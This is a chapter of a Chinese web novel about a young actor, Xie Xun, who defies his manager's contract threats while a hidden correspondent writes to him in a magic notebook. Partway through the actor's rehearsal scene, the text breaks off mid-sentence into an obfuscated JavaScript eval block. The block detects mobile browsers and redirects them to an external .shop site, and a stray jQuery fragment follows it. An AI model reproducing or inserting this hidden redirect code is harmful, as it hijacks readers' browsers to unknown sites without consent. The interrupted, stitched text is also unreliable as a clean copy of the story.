张鞍的脸色终于变了。
他站起来，声音压得很低，带着威胁的意味：“谢浔，你别忘了，你的合同还在公司手里。没有公司的同意，你接不了任何戏。《如戏》那边我已经打过招呼了，你要是今天不签这个合同，这个戏你就别想拍了。”
谢浔看着他，没说话。
“你以为你红了？”张鞍的声音越来越大，“你连十八线都算不上。没有公司，你什么都不是。”
金石端起茶杯喝了一口，没有说话，但嘴角带着一丝笑意。
那个笑容让谢浔觉得恶心。
“你说得对。没有公司，我什么都不是。”
张鞍的表情缓和了一点：“这就对了嘛——”
“但有这样的公司，我也什么都不是。”
张鞍的笑容彻底消失了。
会议室里安静了几秒。然后金石放下茶杯，拍了拍手，发出单调的、嘲讽般的掌声。
“有骨气。”金石笑了笑，“可惜，骨气不值钱。”
谢浔没理他，转身往外走。
“谢浔！”张鞍在身后喊。
谢浔没停。
径直上了电梯，电梯门关上的时候，他靠着墙壁，闭上眼睛，深呼吸。
内心像是有一团火，愤怒快要把他燃烧殆尽。
走出公司，走了几步，他把手伸进口袋里，掏出笔记本，翻开。
刚才在会议室里什么都没写，但那一页上多了几行新的字。
【做得对。】
【有些底线退了一次就会退第二次。】
谢浔看着这三行字，忽然笑了。不是那种开心的笑，是那种“果然如此”的笑。
她支持他。不管他做了什么决定，她都支持他。
【冷吗？】
“冷。风很大。”
【冷的话把衣服领口围起来，脸遮住。】
谢浔愣了一下，把敞开的衣服拉链拉好，遮住了半张脸，衣服贴在脸上，把冷风挡了个大半。
【好多了。看起来像一只裹在围巾里的小猫。】
谢浔看着“小猫”两个字，嘴角抽了一下。他写道：“我不是猫。”
【你现在的样子很像。】
谢浔把笔记本合上，不想理她了。但他站在台阶上，对着手机的黑屏看了一眼自己——衣服拉到鼻梁，只露出一双眼睛，头发被风吹得乱七八糟，确实有点像。
他把手机翻过去扣在手心里。不看了。
他深吸一口气，把笔记本塞回口袋，沿着人行道往地铁站走。
可走了几步，手却不自觉把本子翻开了。
纸面上多了一行新字。
【合同的事，不用担心。会有办法的。】
风吹得纸页哗哗地翻。谢浔盯着这行字，不知道想到了什么，暂时在路上停住了。
“张鞍说《如戏》的合同需要公司同意，如果我不签那个附加条款，这个戏我就拍不了。没有公司，我确实接不了戏。”
写完之后他等着。
等了很久，久到他以为那个人不在线了。
然后新字出现了。
【《如戏》的导演是真的看中了你。不是因为公司，是因为你。这一点，谁也改变不了。】
谢浔看着这两行字，手指在桌面上敲了两下。
“可如果没有公司点头，导演也没办法用我。”
【那就让公司点头。】
“用录音吗？”他手上的录音其实不止是上次和李总的饭局的录音，除此之外，还有一年前张鞍醉酒后打电话骂他的话。
那次张鞍也说了很多不该说的话——“你以为你是什么东西？”、“公司养你是白养的吗？”、“你信不信我让你在这个圈子里混不下去？”、“周荣那边你也不管了是吧？”
那段录音他存了一年，从来没有用过。
不是不想用，是不敢用。他怕用了之后，张鞍真的会让他混不下去。怕用了之后，周荣的医药费再也没有着落。
但现在……
谢浔把旧手机攥在手心里，坐回桌前，写：
“有一段录音。一年前张鞍打电话骂我的时候录的。他说了很多不该说的话。”
这次回复来得很快。
【那你想用吗？】
谢浔犹豫了很久，写：“我怕用了之后，就真的回不了头了。”
【你早就回不了头了。从他们把你扔在雪地里的那天开始，你就回不了头了。】
【但你也不需要回头。】
【你只需要往前走。】
谢浔盯着这几行字，眼眶有点热。
他写：“你觉得我应该用吗？”
这次回复慢了一些。
【这不是我应该替你决定的事。但我想告诉你——你的感受很重要。如果你觉得忍不下去了，那就不必再忍。】
谢浔看着“你的感受很重要”这行字，一个字一个字地看。
【但现在还不是时候，如果最后鱼死网破录音爆出来，圈内人也不会对你有好印象。】
【在没有信任基础的时候，其他娱乐公司也会担心你不是专心为公司工作，会担心你会不会和他们反目成仇。】
谢浔心里大概有数。
现在还不是时候。
但总有一天。
*
傍晚，谢浔接到了安捷的电话。
“小谢，合同的事我听说了。”安捷的声音听起来有点疲惫，“张鞍那边给我打电话了，说你们公司内部还有些流程要走，让我们再等等。”
谢浔握着手机，没说话。
“但你别担心，导演说了，这个角色等你。”安捷的语气认真起来，“你不是我们的备选。你是唯一的人选。不管要等多久，我们都等。”
他翻开笔记本，写：“安导打电话来了。说会等我。”
【我知道他们会。】
“你怎么知道？”
【因为你是谢浔啊。】
谢浔看着这句话，愣了一下。
因为你是谢浔啊。好像这句话就够了。
他笑了一下，拿起笔写：“我今晚想继续练林远那场戏。你要看吗？”
【当然。】
谢浔把笔记本立在桌上，翻开到空白页，退后两步，站在房间中央。
他闭上眼睛，深吸一口气。
再睁开的时候，他不再是谢浔。他是林远。站在空地上，对着空气演戏的、沉默的、不被看见的林远。
他开始说台词。声音不大，但很稳。他用的是西南口音，语调软软的，带着一点犹豫和试探。
声音在空荡荡的房间里回荡了一下。
他等了几秒，像是在等对面的人回答。然后他继续说：“没有人看过我演戏。你是第一个。”
他的眼睛很亮，不是因为灯光，是因为有什么东西在里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550086|204089||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面发光。
“我不知道自己演得好不好。但此刻我觉得我不仅仅是那个在修理厂被人呼来喝去的学徒，不是那个没有爸妈、没有人要的林远。是另一个我。”
说到这里他停了一下，喉咙动了动，像是在咽下什么。
“谢谢你看见我。”
最后这句台词是剧本里没有的。是谢浔自己的。
他说完之后站在原地，沉默了很久。
然后他走到桌前，低头看笔记本。
纸面上多了一行字。
【演得很好。】
只有四个字。但谢浔盯着这四个字看了很长时间。
他拿起笔，在下面写：“你哭了？”
不是问句，是陈述。
纸面上沉默了几秒，然后新字出现。
【没有。】
谢浔看着“没有”两个字，嘴角微微弯了一下。
“你在撒谎。”
【……】
【好吧，有一点。】
谢浔笑出了声。
他从来没听见过那个人的声音，没见过那个人的脸，甚至不知道那个人的名字。但他觉得，他好像能看见她现在的样子——坐在某个地方，盯着屏幕，眼眶红红的。
他写：“别哭。下次我演得好一点，你就不会哭了。”
回复很快。
【演得已经很好了。】
【我只是……很高兴。】
谢浔闭上眼睛，试图想象那个人的脸。但脑海里只有一个模糊的轮廓——一个坐在光里的人，看不清五官，看不清表情，但手伸出来的方向是对着他的。
也许这就够了。
有人在黑暗中，对着他伸出了手。
*
姜漫是被一阵急促的敲门声吵醒的。
她迷迷糊糊地从床上爬起来，头发乱得像鸡窝，眼睛都还没睁开，趿拉着拖鞋往门口走。敲门声还在继续，一声比一声急，带着那种“不开门我就一直敲下去”的执拗。
“来了来了——”
她拉开门，舒钰站在门口，手里拎着两个大袋子，一身咖色风衣，头发散在肩膀上，妆容精致得像刚从杂志上走下来。她上下打量了姜漫一眼，眉头皱成一团。
“你看看你，像什么样子？”
姜漫低头看了看自己——皱巴巴的睡衣，脸上还有压出来的枕头印。她眨了眨眼，还没完全清醒：“你怎么来了？”
“我不来你是不是打算在屋子里发霉？”舒钰推开她，径直走进来，把袋子放在桌上，“今天什么日子你知道吗？”
姜漫跟着她走进去，脑子还是懵的。今天什么日子？周三？还是周四？她最近昼夜颠倒，早就分不清星期几了。
舒钰转过身，看着她，深吸一口气，像是在压制什么情绪：“你生日。今天是你生日。”
姜漫愣了一下。
生日。
她完全忘了。这几天一直在盯着屏幕看谢浔那边的进展，画稿画了好几版，改来改去，连吃饭都是在电脑前解决的。日子过得糊里糊涂的，哪还记得什么生日。
“我都忘了……”她嘟囔了一句，抓了抓头发。
“我就知道你忘了。”舒钰叹了口气，把袋子里的东西一件一件往外拿——一个蛋糕盒子，几盒包装精美的小点心，还有一个系着丝带的礼盒，“收拾收拾，换衣服，带你出去吃饭。”
“不想去——”